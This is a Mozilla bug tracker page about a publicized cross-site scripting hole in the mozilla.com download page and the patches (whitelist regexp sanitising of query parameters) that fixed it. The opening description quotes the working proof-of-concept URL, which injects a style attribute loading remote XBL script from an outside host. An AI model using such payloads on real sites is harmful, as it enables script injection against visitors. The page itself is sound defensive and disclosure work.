mozilla.com XSS publicized on sla.ckers.org (download.html)

RESOLVED FIXED

Status

www.mozilla.org
General
--
critical
RESOLVED FIXED
11 years ago
4 years ago

People

(Reporter: dveditz, Assigned: justdave)

Tracking

({wsec-xss})

Firefox Tracking Flags

(Not tracked)

Details

(URL)

Attachments

(2 attachments, 2 obsolete attachments)

(Reporter)

Description

11 years ago
http://sla.ckers.org/forum/read.php?3,44,2090,page=21#msg-2090

Shows a link to mozilla.com which allows attacker script insertion. The Firefox version is through remotely-loaded XBL which makes complex scripts easy to include

http://www.mozilla.com/en-US/products/download.html?product=-%22%20style%3D%22-moz-binding:url('http://ha.ckers.org/xssmoz.xml%23xss')%3bxx:expression(alert('Get%20Opera'))%22%3E%3Cx%20&os=1&lang=1

Possibly no point in hiding this bug since that's a 21-page(!) forum thread and gotten lots of press, but the flag will at least ensure some attention.
(Reporter)

Updated

11 years ago
Group: security
(Reporter)

Comment 1

11 years ago
First noticed in this blog post: http://jeremiahgrossman.blogspot.com/2006/10/place-your-bets-on-first-firefox-2.html

Comment 2

11 years ago
Who needs to see this? 
We'll need to escape the GET vars to make sure they can't inject via the query args.  We could do some simple checking up at the top where product, os, lang are assigned.
justdave doesn't deal with the websites. I do. Assigning to me. We are following up on IRC. Expect fix shortly.
Assignee: justdave → reed
$ svn commit -m "Fix download page issue (bug 357750) a temp way and fix 404 page."
Sending        branches/firefox1.5/en-US/404.html
Sending        branches/firefox1.5/en-US/products/download.html
Transmitting file data ..
Committed revision 813.

mrz: Please sync www.mozilla.com ASAP.
Assignee: reed → server-ops
Severity: normal → blocker

Comment 6

11 years ago
need approval from web team - dropping sev until this is ready to push.  
Severity: blocker → critical
Created attachment 243285 [details] [diff] [review]
From Jesse's thoughts - v1

This is what I committed from what Jesse thought out at first.

Comment 8

11 years ago
can we get some form of testing or confirmation that all variants of downloads continue to work after this patch? (if this has not already been done.)
Attachment #243285 - Flags: review?(jruderman)

Comment 9

11 years ago
Looking at this more closely, I noticed that the product/os/lang variables are NOT used only as raw HTML and HTML attributes.  Instead, they're used as a link URL, which requires escape() to be correct in general:

  download_url += 'product=' + product + '&os=' + os + '&lang=' + lang;

But then a funny thing happens.  The code calls String.link, which LOOKS like it's a safe API for creating a link from a given anchor text and URL.  But if you pass it a URL that contains a quote, it does something else entirely!  (Bug 352437?  But Safari, IE, and Firefox all share this braindead behavior.)

  var link_text = 'link';
  msg += link_text.link(download_url) + '.';

Dolske and dveditz prefer "sanitizing" by rejecting any product name (or perhaps any URL parameter) that isn't alphanumeric.  That's easier to get right than calling the correct "escaping" function (escape, htmlEscape) at each point it's used, and a simpler fix than switching to an API (e.g. DOM2) that doesn't require you to escape.  I think they've convinced me that's the way to go.
Group: mozillaorgconfidential

Comment 10

11 years ago
If I were writing a bookmarklet and wanted correct behavior for all strings, I'd use escape() for the URL and htmlEscape (and NOT String.link, because I hope its behavior will change) for creating the link.  Or maybe I'd use DOM2 to avoid having to deal with escaping.

But this only needs to be useful for alphanumerics (right?) so I think dolske's approach makes sense here.
(Reporter)

Comment 11

11 years ago
alphanums plus hyphen, hyphen is a key delimiter here.

unlike the patch here, I'd want to sanitize *before* parsing the query string. something like

   function parseGETVars()
   {
+      var url = new Object();
      var qs = location.search.substring(1);
+     if (qs.match(/[^-&=a-zA-Z0-9]/)
+        return url;
      var nv = qs.split('&');
-     var url = new Object();
(In reply to comment #11)
> +     if (qs.match(/[^-&=a-zA-Z0-9]/)

This would cause all versions to fail on the '.':
2.0
1.5.0.8

This approach seems just fine to me w/ a fixed regexp -- we should probably just go this route unless there's a good reason not to.

So -- next time could we not commit the change before we've tested it or had anybody actually +r it?
Assignee: server-ops → morgamic
Created attachment 243307 [details] [diff] [review]
v2, w/ regexp

The stuff Reed checked in (r813) worked just fine -- made a couple of adjustments after reading through jruderman's and dveditz's comments.  Tested it w/ the error console open on khan-vm.

The patch took out the html string substitutions since they appeared redundant to me on top of the regexp check.  See if that makes sense.

I also went in to the Bouncer dump and queried product names and the range of valid characters is correct, so cbeard -- the incoming links won't break outgoing bouncer links.

Can someone take a look (reed? jruderman? dveditz?) before we commit again?
Attachment #243285 - Attachment is obsolete: true
Attachment #243307 - Flags: review?
Attachment #243285 - Flags: review?(jruderman)
Attachment #243307 - Flags: review? → review?(jruderman)
Created attachment 243308 [details]
bouncer names, fwiw.

This is the list of bouncer names, to see the chars.  The locales list pretty much fits the normal (\w{2}(-\w{2}(-mac)?)?) pattern, and would be accepted.
Created attachment 243313 [details] [diff] [review]
Return false instead - v3

Return false instead...
Assignee: morgamic → reed
Attachment #243307 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Attachment #243313 - Flags: review?(morgamic)
Attachment #243307 - Flags: review?(jruderman)
Comment on attachment 243313 [details] [diff] [review]
Return false instead - v3

W00t!!!!
Attachment #243313 - Flags: review?(morgamic) → review+
Patch is checked-in... reassigning to server-ops@ for sync.
Assignee: reed → server-ops
Status: ASSIGNED → NEW
Assignee: server-ops → justdave
U    en-US/products/download.html
U    en-US/404.html
Updated to revision 826.
Status: NEW → RESOLVED
Last Resolved: 11 years ago
Resolution: --- → FIXED
Component: www.mozilla.org/firefox → www.mozilla.org
Product: Websites → Websites
Component: www.mozilla.org → General
Product: Websites → www.mozilla.org
Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.
Keywords: wsec-xss
You need to log in before you can comment on or make changes to this bug.